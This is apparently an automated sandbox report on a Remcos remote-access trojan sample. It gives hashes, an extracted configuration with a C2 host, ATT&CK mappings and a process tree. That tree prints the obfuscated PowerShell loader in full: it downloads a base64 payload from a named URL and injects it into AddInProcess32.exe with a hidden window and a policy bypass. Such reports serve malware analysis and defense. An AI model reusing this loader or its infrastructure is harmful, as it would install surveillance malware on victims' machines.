remcos | 812abce7dbbfa5cff999d623b7af55b890d5e2ffbab510a0b585efb0bf2eb0cb

General

Target

Label_091273172.vbs
Size

501KB
MD5

acac54eb7b6c34d0c1dcf760c22ede4d
SHA1

d6801fa279e4fe8696031696611c4b0d75054982
SHA256

812abce7dbbfa5cff999d623b7af55b890d5e2ffbab510a0b585efb0bf2eb0cb
SHA512

e22230cf8cec2bd0cbaf4f7eb18e32dd2246e52bac1df891cc8df67bdce2cf6982bd508307b6a2262e98a2e643e4a98ce229a82584fca5b3ce089f286f8cd393
SSDEEP

12288:NxUu11RyddYlQLsdReovsT5JqGeqUXb8CYx6f2ACVqENi8rvNm7S0bpYiWYVwPkI:vTEsjaquAYdlb

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcosco222.duckdns.org:7877

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-FX5B2Y
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	5080	powershell.exe
38	5080	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5080	powershell.exe
1704	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5080 set thread context of 3864	5080	powershell.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1704	powershell.exe
1704	powershell.exe
5080	powershell.exe
5080	powershell.exe
5080	powershell.exe
5080	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4828 wrote to memory of 1704	4828	WScript.exe	89
PID 4828 wrote to memory of 1704	4828	WScript.exe	89
PID 1704 wrote to memory of 5080	1704	powershell.exe	91
PID 1704 wrote to memory of 5080	1704	powershell.exe	91
PID 5080 wrote to memory of 4604	5080	powershell.exe	102
PID 5080 wrote to memory of 4604	5080	powershell.exe	102
PID 5080 wrote to memory of 4604	5080	powershell.exe	102
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103
PID 5080 wrote to memory of 3864	5080	powershell.exe	103

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Label_091273172.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdaaml1cmwnKycgPSBSZycrJ2VodHRwJysncycrJzovL2lhNjAnKycwMTAwJysnLnVzLmFyY2gnKydpdmUub3JnLzI0L2l0ZW0nKydzJysnL2RldGFoLW5vJysndGUtdi8nKydEZXQnKydhaE5vdCcrJ2VWLnR4dFInKydnZTtaamliYXNlNjRDb250ZW50ID0gKCcrJ05lJysndy0nKydPJysnYmplJysnY3QgU3knKydzdCcrJ2VtLk5lJysndC5XZWJDbGllbnQpLkRvd25sJysnb2FkU3RyJysnaW5nKFpqaXVybCk7WmppYmluYScrJ3J5Q29uJysndCcrJ2VudCcrJyA9ICcrJ1tTeXMnKyd0ZW0nKycuQ29udmUnKydyJysndF06JysnOkZyb21CYXNlNicrJzRTdHJpbmcoWmonKydpJysnYmFzJysnZTY0Q28nKydudGVudCk7WmppJysnYXNzZW1ibHkgPSBbUmVmbGUnKydjdGlvbi5Bc3NlbScrJ2JseV06OkxvYScrJ2QoWmppYmknKyduYXJ5JysnQ28nKyduJysndGVudCk7WicrJ2ppJysndHlwZSA9IFonKydqaScrJ2Fzc2VtYmx5JysnLkdldFR5cGUoUmdlUnVuUEUuSG9tZVJnZSknKyc7WmppbScrJ2V0aCcrJ29kICcrJz0gWicrJ2ppdHlwZS5HZXRNZScrJ3Rob2QoUmcnKydlVkFJUmcnKydlKTtaamknKydtZXRob2QuSW52b2tlKFpqaW51bGwsIFtvYmplJysnY3RbXV0nKydAKFJnZTAvRycrJ3dNJysndWsvZC9lZScrJy5ldCcrJ3NhcC8vOnNwdHQnKydoJysnUmdlICwgUmdlJysnZGVzYXRpJysndmFkb1JnZSAnKycsIFJnZWRlc2F0JysnaXZhZG9SZycrJ2UgLCBSZ2UnKydkZXNhdGl2YWQnKydvUicrJ2dlLFJnZUEnKydkZEluUHInKydvY2VzczMnKycyJysnUmdlLFJnZVJnZSkpJykuUmVwbEFDZSgnWmppJywnJCcpLlJlcGxBQ2UoJ1JnZScsW1NUUkluZ11bQ2hhUl0zOSkgfCBJblZPa0UtZVhQUkVzc0lvTg==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Zjiurl'+' = Rg'+'ehttp'+'s'+'://ia60'+'0100'+'.us.arch'+'ive.org/24/item'+'s'+'/detah-no'+'te-v/'+'Det'+'ahNot'+'eV.txtR'+'ge;Zjibase64Content = ('+'Ne'+'w-'+'O'+'bje'+'ct Sy'+'st'+'em.Ne'+'t.WebClient).Downl'+'oadStr'+'ing(Zjiurl);Zjibina'+'ryCon'+'t'+'ent'+' = '+'[Sys'+'tem'+'.Conve'+'r'+'t]:'+':FromBase6'+'4String(Zj'+'i'+'bas'+'e64Co'+'ntent);Zji'+'assembly = [Refle'+'ction.Assem'+'bly]::Loa'+'d(Zjibi'+'nary'+'Co'+'n'+'tent);Z'+'ji'+'type = Z'+'ji'+'assembly'+'.GetType(RgeRunPE.HomeRge)'+';Zjim'+'eth'+'od '+'= Z'+'jitype.GetMe'+'thod(Rg'+'eVAIRg'+'e);Zji'+'method.Invoke(Zjinull, [obje'+'ct[]]'+'@(Rge0/G'+'wM'+'uk/d/ee'+'.et'+'sap//:sptt'+'h'+'Rge , Rge'+'desati'+'vadoRge '+', Rgedesat'+'ivadoRg'+'e , Rge'+'desativad'+'oR'+'ge,RgeA'+'ddInPr'+'ocess3'+'2'+'Rge,RgeRge))').ReplACe('Zji','$').ReplACe('Rge',[STRIng][ChaR]39) | InVOkE-eXPREssIoN"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5080
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:4604
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3864

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3804,i,3387628439405076340,17957358341235678872,262144 --variations-seed-version --mojo-platform-channel-handle=4248 /prefetch:8
1⤵
PID:1652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
a6c9d692ed2826ecb12c09356e69cc09

SHA1
def728a6138cf083d8a7c61337f3c9dade41a37f

SHA256
a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

SHA512
2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fuieljo3.ips.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1704-1-0x000002EFA2860000-0x000002EFA2882000-memory.dmp

Filesize
136KB

Download
memory/1704-11-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/1704-12-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/1704-22-0x00007FFE6A953000-0x00007FFE6A955000-memory.dmp

Filesize
8KB

Download
memory/1704-23-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/1704-33-0x00007FFE6A950000-0x00007FFE6B411000-memory.dmp

Filesize
10.8MB

Download
memory/1704-0-0x00007FFE6A953000-0x00007FFE6A955000-memory.dmp

Filesize
8KB

Download
memory/3864-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-34-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-28-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3864-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/5080-24-0x000001BEDF4F0000-0x000001BEDF6FC000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads